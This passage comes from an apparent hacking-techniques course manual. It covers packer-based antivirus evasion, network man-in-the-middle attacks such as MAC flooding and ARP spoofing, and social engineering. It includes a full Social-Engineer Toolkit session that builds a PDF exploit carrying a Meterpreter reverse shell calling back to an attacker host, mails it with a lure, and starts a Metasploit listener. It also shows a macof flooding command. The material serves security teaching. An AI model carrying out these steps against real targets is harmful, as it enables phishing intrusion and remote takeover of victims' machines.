similar to those of known general/generic malicious code. The inspection usually follows

focuses on:

a) Sequence of calls to different operating system functions

b) Creating file types with incorrect file extensions in unconventional paths

Page 85: Hacker techniques, exploit and incident handling

84 | P a g e

c) Applications permissions request such as accessing the memory space of other

applications

d) Writing into/over a large amount of enclosed/pre-compiled files such as executable

files.

3. Sandbox – Running applications “In Space“, in a closed environment where it is possible

to inspect all that the application is about to do, without it actually being able to harm

the machine or make any changes to it.

Packers/Crypters – Bypassing Anti-Viruses

Executable compression is any means of compressing an executable file and combining the

compressed data with decompression code into a single executable. When this compressed

executable is executed, the decompression code recreates the original code from the

compressed code before executing it. In most cases this happens transparently so the

compressed executable can be used in the exact same way as the original.

A compressed executable can be considered a self-extracting archive, where compressed data is

packaged along with the relevant decompression code in an executable file. Some compressed

executable can be decompressed to reconstruct the original executable without directly

executing it.

Originally executable compression was created in order to optimize the size on the disk

executable files, especially for the download of setup installations via the internet. Later on,

packing was used by software vendors in order to protect their software from reverse

engineering, therefore protecting patents, trade secrets and preventing the cracking of the

licensing mechanism.

Today executable compressors, aka “Packers” are used mostly by hackers and virus writers in

order to bypass antiviruses and pass known (black-listed) malware through them. There are

several types of packers/Crypters which are in common use:

1. Executable Compressor

a) UPX

2. Traditional Executable Packer

a) ASPack (Stolen API Bytes)

b) ASProtect

c) Stealth EXE Protector

3. Memory Protector (User Mode)

a) Silicon Realms Armadillo (CopyMem II, Debug blocker, Nanomites)

b) PESpin (Debug blocker)

Page 86: Hacker techniques, exploit and incident handling

85 | P a g e

4. Memory Protector (Kernel Mode)

a) Extreme Protector

b) Obsidium

5. Virtual Machine (With a virtual processor different CPU])

a) TheMida

b) VMProtect

c) MoleBox

6. Almost Unfeasibly bypass-able

a) StarForce FrontLine ProActive

Netcat - Original – Less Then Packed

Bypassing Antivirus – Netcat * MEW

Page 87: Hacker techniques, exploit and incident handling

86 | P a g e

Page 88: Hacker techniques, exploit and incident handling

87 | P a g e

Page 89: Hacker techniques, exploit and incident handling

88 | P a g e

Netcat * RDG PolyPack v1.1

Page 90: Hacker techniques, exploit and incident handling

89 | P a g e

Poison Ivy

SCPack 1.1

Page 91: Hacker techniques, exploit and incident handling

90 | P a g e

Page 92: Hacker techniques, exploit and incident handling

91 | P a g e

Alternate EXE Packer

Page 93: Hacker techniques, exploit and incident handling

92 | P a g e

Alternate EXE Packer

Page 94: Hacker techniques, exploit and incident handling

93 | P a g e

Poison Ivy * MEW

Page 95: Hacker techniques, exploit and incident handling

94 | P a g e

Poison Ivy * ACprotect

Page 96: Hacker techniques, exploit and incident handling

95 | P a g e

sixxpack v2.2Eng

DotFuscator

The Microsoft .NET is based on a Common Intermediate Language (CIL) (formerly called

Microsoft Intermediate Language or MSIL) is the lowest-level human-readable programming

language defined by the Common Language Infrastructure specification and used by the .NET

Framework. Languages which target a CLR-compatible runtime environment compile to CIL,

which is assembled into an object code that has a byte code-style format. CIL is an object-

oriented assembly language, and is entirely stack-based. Its byte code is translated into native

code or executed by a virtual machine.

Page 97: Hacker techniques, exploit and incident handling

96 | P a g e

Microsoft’s .NET records information about compiled classes as Metadata. Like the type library

in the Component Object Model, this enables applications to support and discover the

interfaces, classes, types, methods, and fields in the assembly. The process of reading such

metadata is called reflection.

Since this metadata allows retrieving the entire source code, including all objects, classes,

function, variable names and comments, resulting that every software written and compiled in

the .NET platform being completely reversible. This threats the trade secrets and privacy of

software vendors and creates a much easier platform for breaking software licenses and easier

reverse engineering.

After comprehending these implications, Microsoft added the platform with “DotFuscator”,

which during compilation replaces the names of all objects, classes, function, variable names

and comments to randomly generated names, thus making it harder to understand the purpose

of the code when reverse engineering it.

The .NET assembly code of a simple function looks like this:

.method private hidebysig static void Main(string[] args) cil managed

{

.entrypoint

.maxstack 2

.locals init (int32 V_0,

int32 V_1)

IL_0000: ldc.i4.2

stloc.0

br.s IL_001f

IL_0004: ldc.i4.2

stloc.1

br.s IL_0011

IL_0008: ldloc.0

ldloc.1

rem

brfalse.s IL_0000

ldloc.1

ldc.i4.1

add

stloc.1

IL_0011: ldloc.1

ldloc.0

blt.s IL_0008

ldloc.0

call void

[mscorlib]System.Console::WriteLine(int32)

Page 98: Hacker techniques, exploit and incident handling

97 | P a g e

ldloc.0

ldc.i4.1

add

stloc.0

IL_001f: ldloc.0

ldc.i4 0x3e8

blt.s IL_0004

ret

}

But it is no longer required to reverse ir to human readable code, as it is possible to retrieve the

code from the metadata, which will result it looking like this:

static void Main(string[] args)

{

outer:

for (int i = 2; i < 1000; i++)

{

for (int j = 2; j < i; j++)

{

if (i % j == 0)

goto outer;

}

Console.WriteLine(i);

}

}

Page 99: Hacker techniques, exploit and incident handling

98 | P a g e

Sniffers Definition – Sniffing

Man in the Middle In cryptography, the man-in-the-middle attack (often abbreviated MITM), bucket-brigade attack, or sometimes Janus attack, is a form of active eavesdropping in which the attacker makes independent connections with the victims and relays messages between them, making them believe that they are talking directly to each other over a private connection, when in fact the entire conversation is controlled by the attacker. The attacker must be able to intercept all messages going between the two victims and inject new ones, which is straightforward in many circumstances (for example, an attacker within reception range of an unencrypted Wi-Fi wireless access point, can insert himself as a man-in-the-middle). A man-in-the-middle attack can succeed only when the attacker can impersonate each endpoint to the satisfaction of the other—it is an attack on mutual authentication. Most cryptographic protocols include some form of endpoint authentication specifically to prevent MITM attacks. For example, SSL authenticates the server using a mutually trusted certification authority.

Hub vs. Switch

Page 100: Hacker techniques, exploit and incident handling

99 | P a g e

MAC Spoofing

In computer networking, a Media Access Control address (MAC address), Ethernet Hardware

Address (EHA), hardware address, adapter address, or physical address is a quasi-unique

identifier assigned to most network adapters, or network interface cards (NICs) by the

manufacturer for identification.

If assigned by the manufacturer, a MAC address usually encodes the manufacturer's registered

identification number. Three numbering spaces, managed by the Institute of Electrical and

Electronics Engineers (IEEE), are in common use for formulating a MAC address: MAC-48, EUI-

48, and EUI-64. The IEEE claims trademarks on the names "EUI-48" and "EUI-64", where "EUI"

stands for Extended Unique Identifier.

Although intended to be a permanent and globally unique identification, it is possible to

temporarily change the MAC address on most of today's hardware, an action often referred to

as MAC spoofing.

Page 101: Hacker techniques, exploit and incident handling

100 | P a g e

MAC Flooding / CAM Table Overflow

Description

A switch's CAM table contains network information such as MAC addresses available on physical

switch ports and associated VLAN parameters. CAM Table Overflows occur when an influx of

MAC addresses is flooded into the table and the CAM table threshold is reached. This causes the

switch to act like a hub, flooding the network with traffic out all ports. The flooding caused by a

CAM Table Overflow is limited to the source VLAN, thus does not affect other VLANs on the

network.

MAC Flooding

MAC address flooding is an attack technique used to exploit the memory and hardware

limitations in a switch's CAM table. Different switches are able to store numerous amounts of

entries in the CAM table, however, once the resources are exhausted, the traffic is flooded out

on the VLAN, as the CAM table can no longer store MAC addresses, thus is no longer able to

locate the MAC destination MAC address within a packet.

Due to hardware restrictions, all CAM tables have a limited size. If there are enough entries

stored in a CAM table before the expiration of other entries, no new entries can be accepted

into the CAM table. An attacker is able to exploit this limitation by flooding the switch with an

influx of (mostly invalid) MAC addresses, until the CAM tables resources are depleted. When the

aforementioned transpires, the switch has no choice but to flood all ports within the VLAN with

all incoming traffic. This is due to the fact that it cannot find the switch port number for a

corresponding MAC address within the CAM table. By definition, the switch, acts like, and

becomes a hub.

In order for the switch to continue acting like a hub, the intruder needs to maintain the flood of

MAC addresses. If the flooding stops, the timeouts that are set on the switch will eventually

start clearing out the CAM table entries, thus enabling the switch return to normal operation.

Traffic is only flooded within the local VLAN when a CAM table overflow occurs, albeit the

attacker will only be able to sniff traffic belonging to the local VLAN on which the attack occurs.

Following is the output of dsniff's macof injecting MAC address packets into the CAM table:

Page 102: Hacker techniques, exploit and incident handling

101 | P a g e

It is trivial to overflow CAM table with invalid MAC addresses, thus all switches should

implement security preventing this. Port Security is enough to prevent this type of attack on a

Cisco switch. Port Security can be set to only allow a specified amount of MAC addresses to

connect to the switch port over a certain amount of time.

To overflow a CAM table using a Debian based distribution of GNU/Linux (Debian, (k)Ubuntu etc,

it's very simple. The standard Debian repositories store the tools needed for a successful attack,

and can be easily obtained with aptitude. To use aptitude to obtain the required tools, su to root

(or sudo) and type the following:

root@defensia:~/# aptitude install dsniff

Page 103: Hacker techniques, exploit and incident handling

102 | P a g e

The above will install the dsniff packages–macof is part of the dsniff toolbox, and can be used to

perform CAM Table Overflow's. Dsniff is a collection of tools for network auditing and

penetration testing. Dsniff, filesnarf, mailsnarf, msgsnarf, urlsnarf, and webspy passively

monitor a network for interesting data (passwords, e-mail, files, etc.). Arpspoof, dnsspoof, and

macof facilitate the interception of network traffic normally unavailable to an attacker (e.g., due

to layer-2 switching). SSH MiTM and Web MiTM implement active monkey-in-the-middle attacks

against redirected SSH and HTTPS sessions by exploiting weak bindings in ad-hoc PKI.

In order to attack the CAM table and cause it to overflow, simply install dsniff, and type "macof"

in a terminal window. This immediately starts flooding the CAM table with invalid MAC

addresses. To stop the attack, press CTRL+Z concurrently.

root@defensia:~/# macof root@defensia:~/# ^Z

When the entry threshold in the CAM Table has been reached, packets will be flooded out of all

ports by the switch in behavior similar to that of a hub. To take advantage of this, launch a

packet sniffer such as Wireshark to begin sniffing packets.

Port Stealing

Briefing: The term "Port Stealing" refers to the MITM technique used to spoof the switch

forwarding database (FDB) and usurp the switch port of the victim host for packet sniffing on

Layer 2 switched networks. The attacker starts by flooding the switch with the forged ARP

packets that contain the same source MAC address as that of the victim host and the same

destination MAC address as that of the attacker host. Note that those packets are invisible to

other host on the same network.

Now that the victim host also sends packets to the switch at the same time, the switch will

receive packets containing the same source MAC address with two different ports. Therefore,

the switch will repeatedly alter the MAC address binding to either of the two ports by

referencing the relevant information in the packets.

If the attacker's packets are faster, the switch will send the attacker the packets intended for the

victim host. Then the attacker sniffs the received packet, stops flooding and sends an ARP

request for the victim’s IP address. After receiving the ARP reply from the victim host, the

attacker will manage to forward the "stolen" packet to the victim host. Finally, the flooding is

launched again for another attacking cycle.

Page 104: Hacker techniques, exploit and incident handling

103 | P a g e

Page 105: Hacker techniques, exploit and incident handling

104 | P a g e

STP mangling

Briefing: STP (Spanning-Tree Protocol) mangling refers to the technique used for the attacker

host to be elected as the new root bridge of the spanning tree.

The attacker may start either by forging BPDUs (Bridge Protocol Data Units) with high priority

assuming to be the new root, or by broadcasting STP Configuration/Topology Change

Acknowledgement BPDUs to get his host elected as the new root bridge. By taking over the root

bridge, the attacker will be able to intercept most of the traffic.

Address Resolution Protocol (ARP) Spoofing

ARP (address resolution protocol) operates by broadcasting a message across a network, to

determine the Layer 2 address (MAC address) of a host with a predefined Layer 3 address (IP

address). The host at the destination IP address sends a reply packet containing its MAC

address. Once the initial ARP transaction is complete, the originating device then caches the ARP

response, which is used within the Layer 2 header of packets that are sent to a specified IP

address.

An ARP Spoofing attack is the egression of unsolicited ARP messages. These ARP messages

contain the IP address of a network resource, such as the default gateway, or a DNS server, and

replace the MAC address for the corresponding network resource with its own MAC address.

Network devices, by design, overwrite any existing ARP information in conjunction with the IP

address, with the new, counterfeit ARP information. The attacker then takes the role of man in

the middle; any traffic destined for the legitimate resource is sent through the attacking system.

As this attack occurs on the lower levels of the OSI model, the end-user is oblivious to the attack

occurrence.

ARP Poisoning is also capable of executing Denial of Service (D.o.S) attacks. The attacking

system, instead of posing as a gateway and performing a man in the middle attack, can instead

simply drop the packets, causing the clients to be denied service to the attacked network

resource. The spoofing of ARP messages is the tributary principal of ARP Poisoning.

Page 106: Hacker techniques, exploit and incident handling

105 | P a g e

IP Spoofing

The Basic protocol for sending data over the Internet network and many other computer

networks is the Internet Protocol ("IP"). The header of each IP packet contains, among other

things, the numerical source and destination address of the packet. The source address is

normally the address that the packet was sent from. By forging the header so it contains a

different address, an attacker can make it appear that the packet was sent by a different

machine. The machine that receives spoofed packets will send a response back to the forged

source address, which means that this technique is mainly used when the attacker does not care

about the response or the attacker has some way of guessing the response.

In certain cases, it might be possible for the attacker to see or redirect the response to his own

machine. The most usual case is when the attacker is spoofing an address on the same LAN or

WAN. Hence the attackers have unauthorized access to computers.

IP spoofing is most frequently used in denial-of-service attacks. In such attacks, the goal is to

flood the victim with overwhelming amounts of traffic, and the attacker does not care about

receiving responses to the attack packets. Packets with spoofed addresses are thus suitable for

such attacks. They have additional advantages for this purpose—they are more difficult to filter

since each spoofed packet appears to come from a different address, and they hide the true

source of the attack.

Denial of service attacks that use spoofing typically randomly choose addresses from the entire

IP address space, though more sophisticated spoofing mechanisms might avoid un-routable

addresses or unused portions of the IP address space. The proliferation of large botnets makes

Page 107: Hacker techniques, exploit and incident handling

106 | P a g e

spoofing less important in denial of service attacks, but attackers typically have spoofing

available as a tool, if they want to use it, so defenses against denial-of-service attacks that rely

on the validity of the source IP address in attack packets might have trouble with spoofed

packets. Backscatter, a technique used to observe denial-of-service attack activity in the

Internet, relies on attackers' use of IP spoofing for its effectiveness.

IP spoofing can also be a method of attack used by network intruders to defeat network security

measures, such as authentication based on IP addresses. This method of attack on a remote

system can be extremely difficult, as it involves modifying thousands of packets at a time. This

type of attack is most effective where trust relationships exist between machines. For example,

it is common on some corporate networks to have internal systems trust each other, so that

users can log in without a username or password provided they are connecting from another

machine on the internal network (and so must already be logged in). By spoofing a connection

from a trusted machine, an attacker may be able to access the target machine without an

authentication.

VLANS

Page 108: Hacker techniques, exploit and incident handling

107 | P a g e

ICMP Redirect

The ICMP protocol is very well known and is mostly associated with the phrase “PING”, which is

the act of sending the ICMP Message “Echo Request” (Message type 8). As ping is used by IT

professionals to determine if a host is alive and reachable, the entire ICMP protocol is usually

forwarded between the different subnets of an organization’s network.

As the ICMP protocol is allowed, all of its message types are allowed and the ICMP Redirect

message can be sent from one host to another. ICMP Redirect is an Internet Control Message

Protocol message (Message type 5) that overrides the current network gateway and replaces it

with a new gateway. All network hosts with default settings, receive and process ICMP Redirect

messages and therefore they are all vulnerable to Main-In-The-Middle attack. As of Microsoft

Windows XP SP2, the Windows Firewall was added and is on by default. Window’s firewall

accepts only ICMP Echo Request Messages (Ping).

ICMP Redirect Man-In-The-Middle attack can be easily executed using the tool “Ettercap”, which is available for Windows and Linux. Here is an example of such an attack being executed:

Page 109: Hacker techniques, exploit and incident handling

108 | P a g e

Page 110: Hacker techniques, exploit and incident handling

109 | P a g e

Public Key Exchanging

MITM attacks are a common risk to web-based financial transaction systems - e.g., e-business

websites, payment gateways, and online banking, insurance and credit card servicing platforms.

MITM attacks may lead to identity thefts and financial frauds.

In such a scenario, a MITM attacker may intercept the communication of public keys exchanged

by the client and the server, and modify the public keys for a malicious purpose. To successfully

avoid any suspicion from either relevant party, the attacker must also intercept the relevant

encrypted messages and responses, and use the correct public keys to decrypt and re-crypt

them for all communication segments in every instance. Such attacking jobs, though seemingly

too tough to accomplish, pose a real risk to insecure networks (e.g., the Internet, and wireless

networks).

Page 111: Hacker techniques, exploit and incident handling

110 | P a g e

Command Injection

Command injection, as an older type of common injection attacks, is chiefly chosen by MITM attackers to hijack an already authenticated session, inject commands to the server and emulate fake replies to the client.

Malicious Code Injection

MITM attackers can insert codes into mails, SQL statements and web pages (i.e., SQL injection, HTML/script injection or cross-site scripting), and even modify the binary files being downloaded to implant victim clients with a backdoor or to change the execution process of the downloaded programs.

Downgrade Attacks - SSH V2 to V1

Alberto Ornaghi and Marco Valleri observe that MITM attackers may manage to change the

parameters exchanged between the target endpoints (e.g., server and client) at the start of their

connection. According to their presentation at Black hat Conference Europe 2003, the MITM

attacker may "force the client to initialize a SSH1 connection instead of SSH2" via a filter to

substitute the parameter "1.99" for SSH V2 with the one "1.51" for SSH V1. Meanwhile, Alberto

and Marco also classify such scenarios as those of "Parameters and Banners Substitution."

Downgrade Attacks - SSH V2 to V1:

The term "Downgrade Attack" here refers to an attack that forces the victims to use the less

secure features, functions or protocols which remain supported for backward-compatibility

reasons. Downgrade attacks may cover SSH (Secure Shell), IPSEC (Internet Protocol Security),

and PPTP (Point-to-Point Tunneling Protocol).

The SSH protocol is an encrypted network protocol with command-line access capabilities. SSH

V1 (i.e., SSH Version 1, also known as "SSH-1" and "SSH1") has security flaws so that attackers

may perceive the usually encrypted data exchanged between the client and the server. SSH V2

made some security improvements over SSH V1: e.g., the Diffie-Hellman key exchange and the

integrity checking via message authentication codes. Although SSH V2 is preferred by most legal

hosts, SSH V1 is still supported for the purpose of backward compatibility. In the above-

mentioned downgrade attack scenario, a MITM attacker can force the client and the server to

use the vulnerable SSH V1 protocol before the encryption starts.

Downgrade Attacks - IPSEC Failure

MITM attackers may impede the key material exchanged on UDP Port 500 to deceive the victims

into thinking that an IPSEC connection cannot start on the other side. That would result in the

clear text stream over the connection without being noticed if the victim host is configured in

Page 112: Hacker techniques, exploit and incident handling

111 | P a g e

rollback mode.

Downgrade Attacks – PPTP

During the protocol negotiation phase at the beginning of a PPTP session, MITM attackers may

force the victims to use the less secure PAP authentication, MSCHAP V1 (i.e., downgrading from

MSCHAP V2), and even no encryption at all.

Attackers can also force re-negotiation (Terminate-Ack packet in clear text), steal passwords

from existing tunnels, and repeat previous attacks.

Attackers can compel "password change" to get password hashes that can be utilized directly by

a modified SMB or PPTP client. MSCHAP V1 hashes can also be foreseen.

PPTP:

PPTP (Point-to-Point Tunneling Protocol) is a protocol for VPN implementation. Microsoft

MSCHAP-V2 or EAP-TLS is used to authenticate PPTP connections. The EAP-TLS (Extensible

Authentication Protocol-Transport Layer Security) is certificate based, and thus is a safer

security option for PPTP than MSCHAP-V2.

Page 113: Hacker techniques, exploit and incident handling

112 | P a g e

Social Engineering

Email Spoofing

E-mail spoofing is e-mail activity in which the sender address and other parts of the e-mail

header are altered to appear as though the e-mail originated from a different source. Because

core SMTP doesn't provide any authentication, it is easy to impersonate and forge emails.

Though it can be legitimate, it is usually fraudulent.Because the purpose is so often malicious,

"spoof" (an expression whose base meaning is innocent parody) is a poor term for this activity,

which can confuse newcomers to it, so that more accountable organizations such as

government departments and banks tend to avoid it, preferring more explicit descriptors such

as "fraudulent" or "phishing".

It is commonly used in spam and phishing e-mails to hide the origin of the e-mail message. By

changing certain properties of the e-mail, such as the From, Return-Path and Reply-To fields

(which can be found in the message header), ill-intentioned users can make the e-mail appear to

be from someone other than the actual sender. The result is that, although the e-mail appears

to come from the address indicated in the from field (found in the e-mail headers), it actually

comes from another source.

Occasionally (especially if the spam requires a reply from the recipient, as in advance-fee

frauds), the source of the spam e-mail is indicated in the Reply-To field (or at least a way of

identifying the spammer); if this is the case and the initial e-mail is replied to, the delivery will be

sent to the address specified in the Reply-To field, which could be the spammer's address.

However, most spam emails (especially malicious ones with a Trojan/virus payload, or those

advertising a web site) forge this address too, and replying to it will annoy an innocent third

party.

Prior to the advent of unsolicited commercial email (spam) as a viable business model,

"legitimately spoofed" email was common. For example, a visiting user might use the local

organization's SMTP server to send email from the user's foreign address. Since most servers

were configured as open relays, this was a common practice. As spam email became an

annoying problem, most of these "legitimate" uses fell victim to anti-spam techniques.

Page 114: Hacker techniques, exploit and incident handling

113 | P a g e

Page 115: Hacker techniques, exploit and incident handling

114 | P a g e

Social Engineering Tool-Kit

• Retrieves email automatically from Google

• Create an attachment that triggers a Buffer Overflow (usually PDF)

• Combines a shellcode that download and executes a Trojan/Connect Back VNC

• Awaits for reverse connections

• Result = anyone can now make a few clicks and do what a professional hacker can do

Page 116: Hacker techniques, exploit and incident handling

115 | P a g e

– In zero time investment

– In zero effort

– Send and forget

Social Engineering Toolkit – The Menu:

Select from the menu:

1. Spear-Phishing Attack Vectors

2. Website Attack Vectors

3. Infectious Media Generator

4. Create a Payload and Listener

5. Mass Mailer Attack

6. Teensy USB HID Attack Vector

7 Update the Metasploit Framework

8. Update the Social-Engineer Toolkit

9. Help, Credits, and About

10. Exit the Social-Engineer Toolkit

Enter your choice: 1

Welcome to the SET E-Mail attack method. This module allows you

to specially craft email messages and send them to a large (or small)

number of people with attached fileformat malicious payloads. If you

want to spoof your email address, be sure "Sendmail" is installed (it

is installed in BT4) and change the config/set_config SENDMAIL=OFF flag

to SENDMAIL=ON.

There are two options, one is getting your feet wet and letting SET do

everything for you (option 1), the second is to create your own

FileFormat

payload and use it in your own attack. Either way, good luck and enjoy!

1. Perform a Mass Email Attack

2. Create a FileFormat Payload

3. Create a Social-Engineering Template

4. Return to Main Menu

Enter your choice: 1

Select the file format exploit you want.

The default is the PDF embedded EXE.

********** PAYLOADS **********

1. Adobe CoolType SING Table 'uniqueName' Overflow (0day)

2. Adobe Flash Player 'newfunction' Invalid Pointer Use

3. Adobe Collab.collectEmailInfo Buffer Overflow

Page 117: Hacker techniques, exploit and incident handling

116 | P a g e

4. Adobe Collab.getIcon Buffer Overflow

5. Adobe JBIG2Decode Memory Corruption Exploit

6. Adobe PDF Embedded EXE Social Engineering

7. Adobe util.printf() Buffer Overflow

8. Custom EXE to VBA (sent via RAR) (RAR required)

9. Adobe U3D CLODProgressiveMeshDeclaration Array Overrun

Enter the number you want (press enter for default): 1

1. Windows Reverse TCP Shell

2. Windows Meterpreter Reverse_TCP

3. Windows Reverse VNC

4. Windows Reverse TCP Shell (x64)

5. Windows Meterpreter Reverse_TCP (X64)

6. Windows Shell Bind_TCP (X64)

Enter the payload you want (press enter for default):

[*] Windows Meterpreter Reverse TCP selected.

Enter the port to connect back on (press enter for default):

[*] Defaulting to port 443...

[*] Generating fileformat exploit...

[*] Please wait while we load the module tree...

[*] Started reverse handler on 172.16.32.129:443

[*] Creating 'template.pdf' file...

[*] Generated output file

/pentest/exploits/set/src/program_junk/template.pdf

[*] Payload creation complete.

[*] All payloads get sent to the src/msf_attacks/template.pdf directory

[*] Payload generation complete. Press enter to continue.

As an added bonus, use the file-format creator in SET to create your

attachment.

Right now the attachment will be imported with filename of

'template.whatever'

Do you want to rename the file?

example Enter the new filename: moo.pdf

1. Keep the filename, I don't care.

2. Rename the file, I want to be cool.

Enter your choice (enter for default): 1

Keeping the filename and moving on.

Social Engineer Toolkit Mass E-Mailer

Page 118: Hacker techniques, exploit and incident handling

117 | P a g e

There are two options on the mass e-mailer, the first would

be to send an email to one individual person. The second option

will allow you to import a list and send it to as many people as

you want within that list.

What do you want to do:

1. E-Mail Attack Single Email Address

2. E-Mail Attack Mass Mailer

3. Return to main menu.

Enter your choice: 1

Do you want to use a predefined template or craft a one time email

template.

1. Pre-Defined Template

2. One-Time Use Email Template

Enter your choice: 1

Below is a list of available templates:

1: Baby Pics

2: Strange Internet usage from your computer

3: New Update

4: LOL...have to check this out...

5: Dan Brown's Angels & Demons

6: Computer Issue

7: Status Report

Enter the number you want to use: 7

Enter who you want to send email to: [email protected]

What option do you want to use?

1. Use a GMAIL Account for your email attack.

2. Use your own server or open relay

Enter your choice: 1

Enter your GMAIL email address: [email protected]

Enter your password for gmail (it will not be displayed back to you):

SET has finished delivering the emails.

Do you want to setup a listener yes or no: yes

[-] ***

Page 119: Hacker techniques, exploit and incident handling

118 | P a g e

[-] * WARNING: No database support: String User Disabled Database

Support

[-] ***

| | _) |

__ `__ \ _ \ __| _` | __| __ \ | _ \ | __|

| | | __/ | ( |\__ \ | | | ( | | |

_| _| _|\___|\__|\__,_|____/ .__/ _|\___/ _|\__|

_|

=[ metasploit v3.4.2-dev [core:3.4 api:1.0]

+ -- --=[ 588 exploits - 300 auxiliary

+ -- --=[ 224 payloads - 27 encoders - 8 nops

=[ svn r10268 updated today (2010.09.09)

resource (src/program_junk/meta_config)> use exploit/multi/handler

resource (src/program_junk/meta_config)> set PAYLOAD

windows/meterpreter/reverse_tcp

PAYLOAD => windows/meterpreter/reverse_tcp

resource (src/program_junk/meta_config)> set LHOST 172.16.32.129

LHOST => 172.16.32.129

resource (src/program_junk/meta_config)> set LPORT 443

LPORT => 443

resource (src/program_junk/meta_config)> set ENCODING shikata_ga_nai

ENCODING => shikata_ga_nai

resource (src/program_junk/meta_config)> set ExitOnSession false

ExitOnSession => false

resource (src/program_junk/meta_config)> exploit -j

[*] Exploit running as background job.

msf exploit(handler) >

[*] Started reverse handler on 172.16.32.129:443

[*] Starting the payload handler...

msf exploit(handler) >

Page 120: Hacker techniques, exploit and incident handling

119 | P a g e

Tab-Nabbing

ClickJacking / Interface Spoofing

• The user receives an email with a link to a video about a news item

• Another valid page, say a product page on amazon.com, can be "hidden" on top or

underneath the "PLAY" button of the news video.

• The user tries to "play" the video but actually "buys" the product from Amazon.

• Tricking users to enable their webcam and microphone through Flash (which has since

been corrected by Adobe).

• tricking users to make their social networking profile information public;

• making users follow someone on Twitter

• share links on Facebook

• Read: “A Systematic Approach to Uncover Security Flaws in GUI Logic”

Interface Spoofing “The Old New Thing”

Page 121: Hacker techniques, exploit and incident handling

120 | P a g e

Page 122: Hacker techniques, exploit and incident handling

121 | P a g e

Phishing

Phishing is a way of attempting to acquire sensitive information such as usernames, passwords

and credit card details by masquerading as a trustworthy entity in an electronic communication.

Communications purporting to be from popular social web sites, auction sites, online payment

processors or IT administrators are commonly used to lure the unsuspecting public. Phishing is

typically carried out by e-mail or instant messaging, and it often directs users to enter details at

a fake website whose look and feel are almost identical to the legitimate one. Phishing is an

example of social engineering techniques used to fool users, and exploits the poor usability of

current web security technologies. Attempts to deal with the growing number of reported

phishing incidents include legislation, user training, public awareness, and technical security

measures.

A phishing technique was described in detail in 1987, and the first recorded use of the term

"phishing" was made in 1996. The term is a variant of fishing, probably influenced by phreaking,

and alludes to baits used to "catch" financial information and passwords.

Diversion theft

Diversion theft, also known as the "Corner Game" or "Round the Corner Game",

originated in the East End of London.

In summary, diversion theft is a "con" exercised by professional thieves, normally

against a transport or courier company. The objective is to persuade the persons

responsible for a legitimate delivery that the consignment is requested elsewhere —

hence, "round the corner".

Page 123: Hacker techniques, exploit and incident handling

122 | P a g e

With a load/consignment redirected, the thieves persuade the driver to unload the

consignment near to, or away from, the consignee's address, in the pretense that it is

"going straight out" or "urgently required somewhere else".

The "con" or deception has many different facets, which include social engineering

techniques to persuade legitimate administrative or traffic personnel of a transport or

courier company to issue instructions to the driver to redirect the consignment or load.

Another variation of diversion theft is stationing a security van outside a bank on a

Friday evening. Smartly dressed guards use the line "Night safes out of order, Sir". By

this method shopkeepers etc. are gulled into depositing their takings into the van. They

do of course obtain a receipt but later this turns out to be worthless. A similar technique

was used many years ago to steal a Steinway grand piano from a radio studio in London.

"Come to overhaul the piano, guv" was the chat line.

The social engineering skills of these thieves are well rehearsed, and are extremely

effective. Most companies do not prepare their staff for this type of deception.

Quid pro quo

Quid pro quo means something for something:

An attacker calls random numbers at a company claiming to be calling back from

technical support. Eventually they will hit someone with a legitimate problem, grateful

that someone is calling back to help them. The attacker will "help" solve the problem

and in the process have the user type commands that give the attacker access or launch

malware.

In a 2003 information security survey, 90% of office workers gave researchers what they

claimed was their password in answer to a survey question in exchange for a cheap

pen.[7] Similar surveys in later years obtained similar results using chocolates and other

cheap lures, although they made no attempt to validate the passwords.

Social Engineering - Source Validation

Page 124: Hacker techniques, exploit and incident handling

123 | P a g e

Pretexting – Collecting Names, Emails & Phone Numbers

Page 125: Hacker techniques, exploit and incident handling

124 | P a g e

Pretexting – Collecting Names & Roles

Page 126: Hacker techniques, exploit and incident handling

125 | P a g e

Target and Attack

The basic goals of social engineering are the same as hacking in general: to gain

unauthorized access to systems or information in order to commit fraud, network

intrusion, industrial espionage, identity theft, or simply to disrupt the system or network.

Typical targets include telephone companies and answering services, big-name

corporations and financial institutions, military and government agencies, and hospitals.

The Internet boom had its share of industrial engineering attacks in start-ups as well, but

attacks generally focus on larger entities.

Finding good, real-life examples of social engineering attacks is difficult. Target

organizations either do not want to admit that they have been victimized (after all, to

admit a fundamental security breach is not only embarrassing, it may damaging to the

organization’s reputation) and/or the attack was not well documented so that nobody is

really sure whether there was a social engineering attack or not.

As for why organizations are targeted through social engineering – well, it’s often an

easier way to gain illicit access than are many forms of technical hacking. Even for

technical people, it’s often much simpler to just pick up the phone and ask someone for

his password. And most often, that’s just what a hacker will do.

Page 127: Hacker techniques, exploit and incident handling

126 | P a g e

Social engineering attacks take place on two levels: the physical and the psychological.

First, we'll focus on the physical setting for these attacks: the workplace, the phone, your

trash, and even on-line. In the workplace, the hacker can simply walk in the door, like in

the movies, and pretend to be a maintenance worker or consultant who has access to the

organization. Then the intruder struts through the office until he or she finds a few

passwords lying around and emerges from the building with ample information to exploit

the network from home later that night. Another technique to gain authentication

information is to just stand there and watch an oblivious employee type in his password.

Social Engineering by Phone

The most prevalent type of social engineering attack is conducted by phone. A hacker will

call up and imitate someone in a position of authority or relevance and gradually pull

information out of the user. Help desks are particularly prone to this type of attack.

Hackers are able to pretend they are calling from inside the corporation by playing tricks

on the PBX or the company operator, so caller-ID is not always the best defense. Here’s

a classic PBX trick, care of the Computer Security Institute: “’Hi, I’m your AT&T rep, I’m

stuck on a pole. I need you to punch a bunch of buttons for me.’”

And here’s an even better one: “They’ll call you in the middle of the night: ‘Have you been

calling Egypt for the last six hours?’ ‘No.’ And they’ll say, ‘well, we have a call that’s

actually active right now, it’s on your calling card and it’s to Egypt and as a matter of fact,

you’ve got about $2,000 worth of charges from somebody using your card. You’re

responsible for the $2,000, you have to pay that...’ They’ll say, ‘I’m putting my job on the

line by getting rid of this $2,000 charge for you. But you need to read off that AT&T card

number and PIN and then I’ll get rid of the charge for you.’ People fall for it.” (Computer

Security Institute).

Help desks are particularly vulnerable because they are in place specifically to help, a

fact that may be exploited by people who are trying to gain illicit information. Help desk

employees are trained to be friendly and give out information, so this is a gold mine for

social engineering. Most help desk employees are minimally educated in the area of

security and get paid peanuts, so they tend to just answer questions and go on to the

next phone call. This can create a huge security hole.

The facilitator of a live Computer Security Institute demonstration, neatly illustrated the

vulnerability of help desks when he “dialed up a phone company, got transferred around,

and reached the help desk. ‘Who’s the supervisor on duty tonight?’ ‘Oh, it’s Betty.’ ‘Let

